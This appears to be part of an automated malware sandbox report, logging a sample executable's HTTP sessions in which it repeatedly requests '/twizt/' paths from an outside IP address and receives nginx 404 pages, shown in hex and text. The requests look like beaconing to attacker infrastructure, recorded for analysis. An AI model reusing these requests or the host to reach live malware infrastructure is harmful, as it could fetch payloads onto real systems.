Aug 31, 2022 02:17:20.812978029 CEST	15132	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:20 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:21.832577944 CEST	15132	OUT	GET /twizt/6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:21.888834000 CEST	15133	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:21 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.6	49757	185.215.113.66	80	C:\Users\user\Desktop\4dzlU0beKB.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 02:17:25.231293917 CEST	15134	OUT	GET /twizt/2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:25.288511992 CEST	15134	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:25 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:26.630175114 CEST	15135	OUT	GET /twizt/3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:26.686863899 CEST	15136	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:26 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:27.737221003 CEST	15136	OUT	GET /twizt/4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:27.795470953 CEST	15137	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:27 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:28.799602985 CEST	15137	OUT	GET /twizt/5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:28.856990099 CEST	15138	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:28 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:29.862070084 CEST	18576	OUT	GET /twizt/6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:29.918791056 CEST	18577	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:29 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.6	49761	185.215.113.66	80	C:\Users\user\Desktop\4dzlU0beKB.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 02:17:33.139748096 CEST	18578	OUT	GET /twizt/2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:33.196101904 CEST	18578	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:33 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:34.211179018 CEST	18579	OUT	GET /twizt/3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
